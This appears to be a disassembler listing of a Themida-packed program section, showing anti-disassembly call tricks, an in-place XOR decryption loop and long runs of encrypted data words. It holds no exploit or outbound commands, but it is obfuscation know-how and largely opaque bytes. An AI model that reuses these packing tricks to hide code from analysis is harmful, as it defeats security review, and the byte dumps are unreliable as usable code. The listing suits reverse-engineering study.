loc_5B863C: ; CODE XREF: Themida_:005B8627j
push 0
call dword ptr [ebp+6141169h]
loc_5B8644: ; CODE XREF: Themida_:005B8610j
mov eax, eax
jmp short loc_5B8666
; ---------------------------------------------------------------------------
dd 0FC030318h, 0AA54B0DEh, 0FBF9E3CDh, 1F62B562h, 0BA9D0498h
dd 0E8FD9CE5h, 0A05E0AD0h
db 0FEh, 38h
; ---------------------------------------------------------------------------
loc_5B8666: ; CODE XREF: Themida_:005B8646j
call near ptr loc_5B8674+5
setalc
pop es
rcr dword ptr es:[edx-6Ah], 0Ah
and al, 0CAh
loc_5B8674: ; CODE XREF: Themida_:loc_5B8666p
and [eax+526F7E1Fh], bl
mov [ebp+6140361h], edx
pop eax
pop ebx
mov [ebp+61408C1h], esi
add ebx, 5C87h
mov [ebp+6142CF9h], esi
sub edx, edx
xor [ebp+61424BDh], edi
loc_5B869C: ; CODE XREF: Themida_:005B870Cj
mov edi, [ebx+edx]
mov eax, [ebp+6142235h]
sub edi, 46C3AC28h
mov ecx, [ebp+6142AD9h]
xor edi, 4B0FF342h
movzx eax, si
xor edi, 4A555EE1h
mov esi, ebx
push edi
mov eax, edx
pop dword ptr [ebx+edx]
mov [ebp+61423D9h], ebx
mov esi, [ebp+614210Dh]
sub edx, 47D402FDh
or [ebp+6142069h], eax
add edx, 47D402F9h
or eax, 45D84A09h
cmp edx, 0FFFFA420h
jnz loc_5B8708
sub esi, [ebp+61416A1h]
jmp loc_5B8716
; ---------------------------------------------------------------------------
db 1Fh
dd 0C295F1B6h
; ---------------------------------------------------------------------------
loc_5B8708: ; CODE XREF: Themida_:005B86F2j
mov cx, 0C14Ch
jmp loc_5B869C
; ---------------------------------------------------------------------------
db 7Dh, 0E2h, 0E6h
db 43h, 0CEh
; ---------------------------------------------------------------------------
loc_5B8716: ; CODE XREF: Themida_:005B86FEj
lea ecx, [ebp+61AFC01h]
push 0
push ebx
call sub_5B8727
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8727 proc near ; CODE XREF: Themida_:005B871Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5B8727 endp
; ---------------------------------------------------------------------------
db 79h
; ---------------------------------------------------------------------------
mov esi, 8D8900F8h
sub [edx], esi
adc al, 6
push 0
push eax
call sub_5B874C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B874C proc near ; CODE XREF: Themida_:005B8744p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5B874C endp
; ---------------------------------------------------------------------------
xchg eax, ebx
mov dword ptr [ebp+614064Dh], 5A10h
mov ax, 3FA2h
mov dword ptr [ebp+6142671h], 0
mov [ebp+6140EE5h], eax
mov [ebp+61402A1h], esi
push dword ptr [ebp+6142319h]
push 0
push esi
call sub_5B8792
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8792 proc near ; CODE XREF: Themida_:005B878Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5B8792 endp
; ---------------------------------------------------------------------------
jnz short near ptr loc_5B87A2+1 ; CODE XREF: Themida_:loc_5B87A2j
xchg eax, ebp
popa
and edx, [esi+eax]
push 0
push eax
call sub_5B87B4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B87B4 proc near ; CODE XREF: Themida_:005B87ACp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5B87B4 endp
; ---------------------------------------------------------------------------
dd 31C62586h, 0D7C4E7F3h, 0C4B8A665h, 8153307Bh, 192983D2h
dd 0FF006A55h, 14116995h, 0EBC08B06h, 94D1931Eh, 1EBEA73Ch
dd 45E33995h, 0AFE1862Dh, 0FA93A978h, 0D2AE1D93h, 0B5030ABFh
dd 8DBA95F9h, 1AFCCF8Dh, 0EC91B806h, 9D290BFFh, 614263Dh
dd 32298D89h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8B1C6FC3h, 1400E585h, 4D85C706h
dd 94061406h, 2B00005Fh, 142C81B5h, 7185C706h, 61426h
dd 0FF000000h, 140591B5h, 29BD8906h, 0FF061430h, 14236195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 5E013A5h, 77C081E4h, 0EE9AF34h, 35000000h
dd 0BDFADD15h, 6008138Dh, 26F7CBD1h, 158D8971h, 6A061403h
dd 6995FF00h, 8B061411h, 577FEBC0h, 60457C61h, 14710974h
dd 0C3C4E3C2h, 8A3F5D5h, 33935010h, 1A1EFD62h, 0CA0B6CA6h
dd 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 95A243DAh, 3B3EFBB5h
dd 0C41C5753h, 0CB5AF4EAh, 0BC706786h, 94D2B5D2h, 5E47EFE7h
dd 58D10F5Bh, 3113E4DFh, 37DFE116h, 0DEF79354h, 6D50AA59h
dd 85E439BCh, 2D40B921h, 7BFDC153h, 0B12F0h, 14A51A67h
dd 0E194C4D6h, 4EF7836Dh, 0F6D50A81h, 0DC4BF756h, 5E81332h
dd 76000000h, 0CDBDBA05h, 958959FCh, 6141039h, 6A69C181h
dd 858B0000h, 6140F49h, 1A5DBEh, 0DDBD8B00h, 0FF061422h
dd 0C2B70F31h, 67BF665Bh, 25F3816Bh, 0E9350CD2h, 0Fh, 0F31D56ACh
dd 0F6363B73h, 31C0EB71h, 81037725h, 9ABA32EBh, 69C88159h
dd 814549A9h, 3D6DE2F3h, 6DBD8B00h, 89061406h, 148E0F19h
dd 0E9000000h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh, 8182D050h
dd 26E543E9h, 0CE85Fh, 198C0000h, 0DB3B86C7h, 601D4FBh
dd 0AE9DC1Fh, 0FF000000h, 0F0854D4Fh, 0B9C752BCh, 0C1815AFEh
dd 5F26E53Fh, 0FE9h, 7B2BAF00h, 0D7CB71D6h, 743C5372h
dd 0F6FC5B75h, 1F850F4Eh, 0E8000000h, 5, 847CEA7Ch, 6D8589B3h
dd 5F061410h, 1FE9h, 68B5F000h, 0E82D3F89h, 958B80E0h
dd 6140355h, 0FFFF36E9h, 8DD8FFh, 8546AE49h, 0B04D103Bh
dd 0FEE58D8Dh, 0AE9061Ah, 68000000h, 59B5E3A9h, 8DB81257h
dd 1DDF8160h, 894376FDh, 1432298Dh, 60525606h, 0C75E5B61h
dd 14064D85h, 6D6006h, 0FDB52900h, 0C7061408h, 14267185h
dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 2E896999h, 0FF6F9157h, 140C4DB5h
dd 0F18B6606h, 236195FFh, 880F0614h, 15h, 0F830Fh, 0AE90000h
dd 9D000000h, 5670E121h, 0C7691FB9h, 0FF006A56h, 14116995h
dd 0EBC08B06h, 827AD94Ah, 0B8281FF2h, 0E443C463h, 8D67F9F7h
dd 0FF6E19C5h, 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 2A91B856h
dd 0FFF91F09h, 65361803h, 9932B29Fh, 9916B9EFh, 0B3996E4Bh
dd 9CE40A56h, 787401B2h, 0E55DB9B4h, 0DA9C4C65h, 8DBC7D12h
dd 1AFFCE8Dh, 0DD958906h, 0F9061400h, 32298D89h, 6A0614h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0BEEC01C3h, 3880ED75h, 34DD8531h, 85C70614h, 614064Dh
dd 6DE4h, 73F78166h, 7185C767h, 61426h, 8B000000h, 14039D85h
dd 0DB5FF06h, 0F061422h, 284h, 0FFD18A00h, 14236195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 6143EF03h, 6688D670h, 6AD88Bh, 116995FFh, 0C08B0614h
dd 63F07EEBh, 3205BEFCh, 684EAC02h, 42957138h, 5510F34Ch
dd 0F0807573h, 0CF2EF1E1h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh
dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 467C0C16h
dd 4C561D4Bh, 0D2B84127h, 301120D9h, 23B1979Fh, 15B4C4F6h
dd 11291986h, 0D3994E9Fh, 7AABAA42h, 3211B28Ch, 0A1645F36h
dd 21C370B4h, 4ECC70Fh, 3A747BF1h, 1D92E5B8h, 0FF1F5F97h
dd 38574F29h, 3B5112A6h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
dd 1B005FEDh, 8428B06h, 2638453Dh, 38850F78h, 8B000001h
dd 4A8B0C42h, 0BBC8D318h, 8841BF62h, 0E883C333h, 29858904h
dd 8B061432h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 5137EBEh
dd 2BC6339Ch, 0FCE083C7h, 8904E883h, 14064D85h, 14428B06h
dd 26718589h, 428B0614h, 0B0E95318h, 0FF000000h, 140591B5h
dd 0B9E906h, 0B5FF0000h, 61414ADh, 0AEE9h, 1B5FF00h, 0E9061416h
dd 0A3h, 2E91B5FFh, 98E90614h, 0FF000000h, 1406A5B5h, 8DE906h
dd 0B5FF0000h, 61402E1h, 82E9h, 4DB5FF00h, 0E906140Ch
dd 77h, 1071B5FFh, 6CE90614h, 0FF000000h, 140D49B5h, 61E906h
dd 0B5FF0000h, 6142319h, 56E9h, 99B5FF00h, 0E9061430h
dd 4Bh, 669B5FFh, 40E90614h, 0FF000000h, 14220DB5h, 35E906h
dd 0B5FF0000h, 61400D5h, 2AE9h, 95B5FF00h, 0E906142Ch
dd 1Fh, 2111B5FFh, 14E90614h, 8B000000h, 0BB8D8h, 0F7660000h
dd 0C08D8DE3h, 3061B00h, 0FFE1FFC8h, 14236195h, 858B5B06h
dd 6143229h, 0F045839h, 0F85h, 16A5300h, 116995FFh, 0E95B0614h
dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 1509858Bh
dd 8D8D0614h, 61B01AEh, 8B014189h, 5985C6C3h, 5606141Ah
dd 0C530DF68h, 0D1B5FFA9h, 8D06141Ah, 1780DB85h, 8DD0FF06h
dd 1400958Dh, 406A5106h, 0BDDB5FFh, 0B5FF0614h, 6142B21h
dd 0B5FFD0FFh, 6140BDDh, 2B21B5FFh, 0CE80614h, 0D0000000h
dd 0B3176883h, 96F40694h, 5A82B07Ch, 4EA835Ah, 2242CC1h
dd 22424C1h, 0F7241403h, 0B9241Ch, 0FF000000h, 815E1134h
dd 1CEBA4F6h, 0EDEE816Fh, 812CD348h, 3B9979EEh, 48F564Ah
dd 4E9830Ah, 0F240C3Bh, 0FFFFDA85h, 359D8DFFh, 8B061411h
dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 7E8C98Bh, 73000000h
dd 4DAB9388h, 10E9DEA9h, 6B000000h, 9194F4CCh, 0E4F8928Eh
dd 0BD03D24Ah, 58562A1Ch, 0B890Fh, 80600000h, 8A0F18CEh
dd 0
dd 42C08161h, 0F000063h, 58Fh, 0EF816600h, 0B9220Dh, 60000000h
dd 8A0F51h, 5B000000h, 61CFB70Fh
db 8Bh
dword_5B8EA1 dd 14E80834h ; DATA XREF: Themida_:005A0BCDr
; Themida_:005A0C18r ...
align 4
dd 0DED8818Ch, 0FC246434h, 92E480E9h, 5096A0C6h, 0D1AA9039h
dd 5E9h, 2514A200h, 815BA97Ch, 0D770F6h, 21B4601Eh, 3170EBB8h
dd 0F681616Fh, 6C97A029h, 8AEE81F5h, 8A7A259Eh, 83489D0h
dd 1923BB66h, 0E9819BB7h, 7D2D1240h, 81DEB70Fh, 2D123CC1h
dd 0DA81527Dh, 84DEA50h, 0B8F9815Fh, 0FFFFF9Dh, 0E85h
dd 0E9D78B00h, 35h, 9646F189h, 0E98995AEh, 13h, 6FBA1F74h
dd 0F6E41423h, 5C350607h, 8970DA4Ah, 0E93BDA17h, 0FFFFFF64h
dd 2D39E78Eh, 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 0E4E956h
dd 0F0F40000h, 9CD73E21h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h
db 0
byte_5B8F9D db 4Eh, 0F9h, 0B4h ; DATA XREF: Themida_:0054BCC0o
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 0Ah dup(0)
dd 0ADE90000h, 68000014h, 61B0661h, 0F979BAE9h, 77668FFh
dd 0B0E9061Bh, 68FFF979h, 61B085Ah, 0F979A6E9h, 9A268FFh
dd 9CE9061Bh, 68FFF979h, 61B0A1Eh, 0F97992E9h, 0AD968FFh
dd 88E9061Bh, 68FFF979h, 61B0B7Ah, 0F9797EE9h, 0C1168FFh
dd 74E9061Bh, 68FFF979h, 61B0CBEh, 0F9796AE9h, 0DF768FFh
dd 60E9061Bh, 68FFF979h, 61B0EF2h, 0F97956E9h, 102D68FFh
dd 4CE9061Bh, 68FFF979h, 61B10F8h, 0F97942E9h, 124568FFh
dd 38E9061Bh, 68FFF979h, 61B138Dh, 0F9792EE9h, 155F68FFh
dd 24E9061Bh, 68FFF979h, 61B1684h, 0F9791AE9h, 0FBC418FFh
dd 0B607CCA9h, 704B8764h, 2594411Eh, 0DCE1F6D3h, 4967518Ah
dd 0DD2F8Eh, 0B996E8D1h, 714EA01Fh, 0F8045665h, 0ED846A70h
dd 9D98580Ch, 0F7C41236h, 73983E4Bh, 0F1E8876Dh, 0DB739B51h
dd 8F3FAD89h, 93797F47h, 0A751F1E8h, 19B10ECAh, 4BDEE4EAh
dd 3757E53Ah, 12CD3160h, 0E3D0DADh, 70B6628Ah, 5806BB8Eh
dd 0F5FBC399h, 5806BC0Fh, 7ACCFB23h, 19A2C3D8h, 0E5BCF8D9h
dd 4F27FF4Ah, 0D036654Dh, 38h, 0F9A513E7h, 0CBF4E4B1h
dd 0CD90969Ch, 9B57E502h, 5D632B73h, 58060377h, 0CA34638Bh
dd 995FEBC2h, 4EA03Eh, 8AB8DD1h, 94B65806h, 0D088DDF6h
dd 0ED76F8D9h, 8D000000h, 34894A17h, 20DCFA05h, 64584D8Fh
dd 0B864FCE9h, 0E5912CABh, 47C810DDh, 0F2DF5B41h, 0AF476F51h
dd 717CAB03h, 9DAA5665h, 0FEF6C339h, 0B5BAA0A6h, 0A6CE51F2h
dd 83291D4Fh, 1D6A3EBh, 677D8DBCh, 51F2B38Bh, 87D9E2F4h
dd 0E38F2CAAh, 7DC569D7h, 689728B0h, 0CD215C62h, 0F2CF57E5h
dd 7C911DE1h, 72323270h, 14F042DAh, 567D4AA6h, 0DD63BB67h
dd 5806D8F7h, 34BE30Bh, 0FBAFD1FDh, 5808DF5Dh, 0A4E2B988h
dd 638B0F3Eh, 34894E1Bh, 0EBD205E2h, 94735F0Dh, 76846E38h
dd 1203h, 4566973h, 0BF11AC27h, 79CBF0E2h, 2E80399Ch, 0E5378651h
dd 33A40CACh, 765B388Ah, 0C414F143h, 0ACCA9FBh, 0CB535FB1h
dd 0CEDDFC5h, 91F8F358h, 0A6F8C512h, 0E9D001CEh, 9427AFBAh
dd 987E844Ch, 0AC51F1E7h, 0E7E8CED4h, 0D4FC51F1h, 44FD0D3Ch
dd 0B1F9A513h, 9E65DDDAh, 6796730Ah, 55985B61h, 1CE457E5h
dd 6553016h, 0ED1C4458h, 0A58B9169h, 0B9580654h, 5D434991h
dd 71580655h, 0BF05B149h, 580654DDh, 0F84C6E8h, 0F8D98456h
dd 0C5A8h, 0C412BF00h, 0E85B4147h, 476F51F1h, 0E1F603AFh
dd 740CAF27h, 0ECA682C8h, 471451F1h, 0F3FE2D90h, 0AE86D8E3h
dd 4D360FE6h, 7F9421EFh, 0F25313F9h, 0D0FF2751h, 0FEAA11C5h
dd 94DC84F2h, 0E5D8FFCCh, 6C3772B6h, 0BDE557E5h, 922BA875h
dd 822E8D45h, 0FEBFB2Ah, 0AFB5FDA1h, 5DFB4094h, 0C592DA02h
dd 0C564EC12h, 8935884Fh, 6602DA31h, 0F1BE069Eh, 0D72FDBE2h
dd 1CBB98A8h, 75B3C3A1h, 442E3894h, 10EE36h, 6B548800h
dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h, 0B9F7C1FAh
dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h, 0EEF4DAE0h
dd 0D08580Ch, 48C512A6h, 0F1E85C42h, 0B0487051h, 6655815Eh
dd 0C4125B14h, 76434BF7h, 25305F5Ch, 0C094BB1h, 0BB0BF1F7h
dd 0F71F51F2h, 9C8F9A0h, 90421F71h, 8928A86Ch, 0CA624846h
dd 0F6C5111Eh, 842F86A4h, 0F39F1AB7h, 0F4626C9Bh, 0E8803B97h
dd 3910D8A0h, 0CC2EC0B3h, 0E8CE54C7h, 0FC51F20Dh, 1661A5D4h
dd 6257E528h, 327F3E95h, 64E817A4h, 64479B3Ch, 0ECAF8F7Ah
dd 848AD27Eh, 55837B4Dh, 9D1EB481h, 16C2EA6Eh, 0ACF49C0Ah
dd 7DC5F8DFh, 0A47B9177h, 4E7DA555h, 0FD754248h, 1F475B98h
dd 0EFCC0AD7h, 0C4F9DAA7h, 2EA88595h, 0E1D1AF8Dh, 3A243AF5h
dd 100A2Ch, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h
dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh
dd 4C58AA11h, 0EFD8BEC4h, 0F1EC580Ch, 47C4128Ah, 0B763587Ah
dd 0E7F3D95Fh, 0DF0751F1h, 0CB774492h, 0C693DB73h, 157FAE0Bh
dd 0ABF39B09h, 0E51566A5h, 6CD9A57h, 4398A2F8h, 28C05360h
dd 71F5247Ch, 0AD1BF749h, 44B3B901h, 5A5DF964h, 5E408632h
dd 695E1A45h, 0D5900B47h, 29F2C594h, 2Bh, 0F9A51340h, 5440ABB1h
dd 264E57E5h, 0F8C711DEh, 0D601CEA6h, 0B4E33BE7h, 6348C70h
dd 0FAC11558h, 0B20DCBA8h, 0F5DF806h, 134F0000h, 0E9B1F9A5h
dd 5804B51Ch, 898DD100h, 0D957EAEBh, 0CAA169B1h, 8E7DEDh
dd 341AA0C3h, 48580D8Ah, 0E6D21B61h, 1BB3551Fh, 9B50ACEh
dd 0B47C82B1h, 618180DDh, 0E8172C89h, 70C2F9DDh, 0CC784393h
dd 66AE52C0h, 51803F99h, 0B5DC454Bh, 0FFE65E06h, 0EFFC6CE5h
dd 2C78CFC2h, 5566C5E9h, 0DDA22BAh, 0C8A0F2C9h, 0B0DFDAFBh
dd 0DE8A31A5h, 74BC64D2h, 0F8DEE4ACh, 7B5E2891h, 9D3EBCBFh
dd 375F25B5h, 0A265C408h, 0CD9641Bh, 40C4F3CCh, 5C503A18h
dd 0CFB93275h, 0EC2C1h, 9728B400h, 526B6845h, 0CAF2300h
dd 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h, 55328435h
dd 0DEA3C83h, 94A0F2C9h, 0F120060Ch, 3934580Ch, 0E7F7D9D2h
dd 0B48151F1h, 646E9D1Eh, 0FC024AF6h, 57EAEA9Bh, 68357DA5h
dd 3D054D6Eh, 0CF556670h, 580CEBE9h, 96A6D5FDh, 0F29E1DB9h
dd 80C878E6h, 4EAF0B8h, 18580CECh, 3E7DC1F0h, 0F45E0019h
dd 0E5A6EECCh, 8D773890h, 0E467Fh, 13AC3000h, 0CEEFE4C1h
dd 88339F7Ch, 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h
dd 0D1AE00B9h, 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Ch
dd 0F7C4124Eh, 73983E4Bh, 0F1E8876Dh, 14BE9B51h, 0C1C70FA7h
dd 51F1E8DBh, 832FC7EFh, 0A03B576Bh, 0FEEDECC5h, 86639h
dd 71643100h, 0E1DCFB48h, 0C7AEDD35h, 0B1F9A513h, 0EAEC2DABh
dd 0F1396157h, 7D54B224h, 7552A43Ch, 45125A61h, 73802C93h
dd 56AE5A65h, 1D258FBEh, 0EB694F55h, 557D580Ch, 0EB00E226h
dd 1886580Ch, 0DB1A2068h, 915E0018h, 0F8CDB3B9h, 0B9E15E20h
dd 0F4521762h, 0BC547A54h, 9041C0DEh, 79877138h, 0D8Bh
dd 7CCEF1EBh, 3789349Fh, 0F143785Ah, 0A6F8C114h, 5DAF0EC9h
dd 0BB1C9424h, 0FED3B002h, 4C8C69BBh, 92442173h, 43CBD729h
dd 0CF2573Dh, 9706B58h, 4BF7C412h, 0DB23983Eh, 0E8270D13h
dd 133B51F1h, 646D7AE4h, 3A9CA955h, 0FF63D581h, 0F2065E43h
dd 0EE2A3B50h, 0A8D4FEEDh, 0EB000007h, 0F1E7F7D9h, 21B48151h
dd 0F15F6998h, 41FF054Dh, 0F557EAECh, 1EB885CDh, 9C734B9Dh
dd 9CEBCE0Ah, 20D3C0Ch, 0D29FE7D4h, 0B30BB704h, 0A00E1A84h
dd 63A2A8F0h, 195E00F9h, 59513F1h, 0C6B03890h, 0CEAB8h
dd 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h
dd 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h
dd 0F2F8DEE4h, 110C580Ch, 0F7C412AAh, 0CCF1E2AFh, 0F8C31320h
dd 2C121860h, 4051F1E8h, 727FE918h, 93AB5764h, 9DC8C37Fh
dd 61FEEDEDh, 70Bh, 70498C59h, 563D6CC4h, 0B1F9A513h, 0EAEBE8ABh
dd 468EB657h, 0C5E5D79h, 6814A72Fh, 0CEC4022h, 0F858C658h
dd 0CEC0CF2h, 60F82058h, 19D31218h, 61895E00h, 90E52F83h
dd 32402A38h, 0C53h, 0B406B923h, 6FC1FCD7h, 297B4092h
dd 0DE30894Ch, 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h
dd 5A7C59ABh, 7B030F61h, 0CF38F75h, 41A8A358h, 4BF7C412h
dd 5F5C7643h, 0AB12530h, 1032465Eh, 0EDEDEA7Bh
dd 68114FEh, 0D92B0000h, 51F1E7F2h, 0B009AF86h, 57D8DFD8h
dd 4BB01E28h, 2E86328Dh, 0B9864E96h, 2F73A219h, 57EB048Fh
dd 0E1C7CD95h, 0F5580D03h, 0F21A9ECDh, 0C2F9DDAAh, 78439370h
dd 0AE52C0CCh, 50316066h, 7D455E00h, 21309177h, 371D235Eh
dd 4B5E2131h, 57805D23h, 1B9FCE66h, 0AEA715F3h, 0DCC63890h
dd 0BA6CEh, 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h
dd 9429AE8Bh, 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h
dd 0B0BC0EADh, 0F43C2228h, 5550580Ch, 0F7C412EEh, 64983E4Bh
dd 2FB2DBD1h, 0DFC5CBC6h, 0F351F208h, 0EF9B33CBh, 0C379197Dh
dd 8960A813h, 0FBB1EC50h, 0E6F6254Ah, 0ED57BDA8h, 12B41FEh
dd 17580000h, 8834894Ah, 0E0F60130h, 0B4222FDBh, 0E0F2BF07h
dd 4A4984DBh, 299C899Ah, 0A00EEAFAh, 0FA2A8F0h, 7D57E5A5h
dd 0D4A1A955h, 488CBB04h, 58068466h, 0FE334F71h, 0D8907927h
dd 93C20722h, 0D9083E27h, 46C0F8h, 17D70000h, 4957B840h
dd 295855F8h, 0C50DB11Fh, 1A4E26FDh, 201780A3h, 0EDEAADF1h
dd 693657E5h, 9C204F6Eh, 0A082C874h, 255806EDh, 53600CB3h
dd 0E6EC3984h, 32D429D5h, 0A8CA9110h, 0EB74F1EAh, 848AF8D8h
dd 0A1000000h, 4BF7C412h, 7824993Eh, 0A4506B6Bh, 2A7C3F97h
dd 0F1342814h, 9625B151h, 0A6FA6844h, 0F213BAA0h, 0E2F1CE51h
dd 3FD72FDBh, 0C0595FA7h, 2A57E6E9h, 0EAEDBA02h, 0DCA981D3h
dd 8B96C5F6h, 3393714Ch, 4E3EA916h, 0A6D5664h, 0D3090000h
dd 16BD9AECh, 5A7855A7h, 0A3320F61h, 0F0E7C416h, 76427BCDh
dd 0CE209D3Ah, 87D9E0F1h, 3F912EAAh, 0F5477462h, 755B61E9h
dd 89580CF5h, 0C512278Eh, 0DC9A6F8h, 12A35CAEh, 434BF7C4h
dd 0CCA15D76h, 0A3851DF9h, 4954831Bh, 0FEDC2E8Dh, 493h
dd 0FB401755h, 0EFFD8C11h, 36A4AEDDh, 5D3C428Ah, 5357E679h
dd 360CE32Bh, 1E39D7DBh, 0D81E88B7h, 5806B4F6h, 775E2B01h
dd 0E73E9642h, 0C4016B20h, 63B5E49Bh, 0A9B9AC27h, 0D8A5F8D9h
dd 2C92C1FAh, 1ECh, 0E7E0D943h, 168451F1h, 0EFDC22B5h
dd 2101D099h, 55D09A1h, 905D256Dh, 70C87445h, 0AC57FD41h
dd 0EEB57EBh, 175FF7C4h, 3B64784Fh, 0A7A7197Dh, 6873595Fh
dd 5F87580Dh, 0AB12530h, 2FDEF5C2h, 0D684329h, 972F5758h
dd 5B7B5868h, 3AA8B460h, 19484E96h, 0AF5E00B4h, 4A27A987h
dd 846E3890h, 97276h, 0E7D80400h, 0A21BB895h, 5C5F7350h
dd 11A82D0Ah, 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h
dd 5D3A8C33h, 0E4F04279h, 0F670565Ch, 8984580Ch, 42C41222h
dd 0E7932B90h, 13BFFCDAh, 0E71D3DA1h, 3C7ACCEFh, 0FEEDF229h
dd 13BD5h, 0C412EC00h, 13D8AFF7h, 0D897D468h, 717EE817h
dd 28045665h, 0ED8757BAh, 0FCF1645Eh, 64451C64h, 0F74FD0Ah
dd 11171D4Ch, 57E61B7Eh, 0DE9405ECh, 0B47BEC6Dh, 482A701Ch
dd 5358078Eh, 0EB7A1131h, 13F8D847h, 33h, 0D140172Ah, 2048B2EFh
dd 319FA9D8h, 27BF00D8h, 316D9DFh, 0BCE457E5h, 2E8CA10h
dd 0D1F35806h, 0D64B1AB1h, 4613F8D9h, 2B832F8Ch, 0AF96FCh
dd 12AD0000h, 269342C4h, 0B17E468Eh, 96EE9A21h, 0F1E82A10h
dd 0E7163E51h, 5667707Dh, 82399DAAh, 1368633Ah, 196F9F39h
dd 637380EAh, 612E0658h, 469E4A71h, 64D7D317h, 0B88551F1h
dd 6772A11Ah, 22FA4C6Fh, 456E545Ah, 0D8FB51F2h, 1BE139E5h
dd 4CBAC4F3h, 0BD565CA4h, 2757E71Ah, 22EFB7FFh, 35B07B4h
dd 0AF0EC9D4h, 6657805Dh, 0A8E55288h, 5F6D573Eh, 837h
dd 0D0229D3Fh, 8BDDE0F3h, 459724AEh, 0FA4C6D68h, 0B103BA1Dh
dd 67704078h, 0AA270456h, 0F8E0BD0Fh, 3E9875C7h, 971F2B7Dh
dd 0CF7AB91h, 5DC4BF58h, 0A6F8C512h, 5CAE0DC9h, 0F7C412A3h
dd 23983E4Bh, 0F6C30EDBh, 64D9B7C7h, 30000002h, 0B1F9A513h
dd 0EAEBABABh, 83CBF357h, 0EBCFB5BBh, 0BBE3580Ch, 0FADC228Ch
dd 5580CEBh, 392CA7E3h, 0C5F8D2EEh, 201h, 0D4E5F0BDh, 0BAA1D028h
dd 0F1E7E0D9h, 6A168451h, 0EC141C22h, 345C57EAh, 4B71FECh
dd 0BA01D5B2h, 0AD2F060Eh, 0F56B3477h, 174697FCh, 2DD795C0h
dd 1AF9DFE5h, 0E50D580Dh, 923EACB6h, 1DB5824Ah, 6B9AF29Eh
dd 66F827h, 88668E5Eh, 3890985Ch, 6C697761h, 0A000007h
dd 0BE9BEDD2h, 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh
dd 219C3B75h, 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h
dd 580CF876h, 12288F8Ah, 3E4BF7C4h, 6A772398h, 843B9D67h
dd 3CE880D8h, 6814A72Fh, 0F1F092F6h, 775A273Fh, 0E7A68C92h
dd 92BA51F1h, 0C6ACB2FAh, 0DA51F1E7h, 113183B2h, 6EC0FBDBh
dd 0EDF23530h, 13BC9FEh, 17E00000h, 534894Ah, 3420DCFAh
dd 74700D84h, 1F2CD870h, 0EFBC04B7h, 0D52DD9E4h, 4CBA96A6h
dd 0C3565CA4h, 3157E54Ch, 2C6D5359h, 59815806h, 400D15C1h
dd 0B5F92891h, 58062BD3h, 59EBCDEh, 0F8D9A960h, 359Eh
dd 0A513B500h, 7D299244h, 3F458D25h, 57E5037Ch, 6E76224Ah
dd 0E9AC0897h, 9CB744DAh, 0FDBD14BEh, 0D01443A9h, 58062EEEh
dd 20BBD7F9h, 0F8D9AB45h, 9FB9h, 0C412D000h, 0F4E2AFF7h
dd 5EF6C312h, 0C12B5AB2h, 0EE9A23B4h, 225F0FE6h, 0A7640B86h
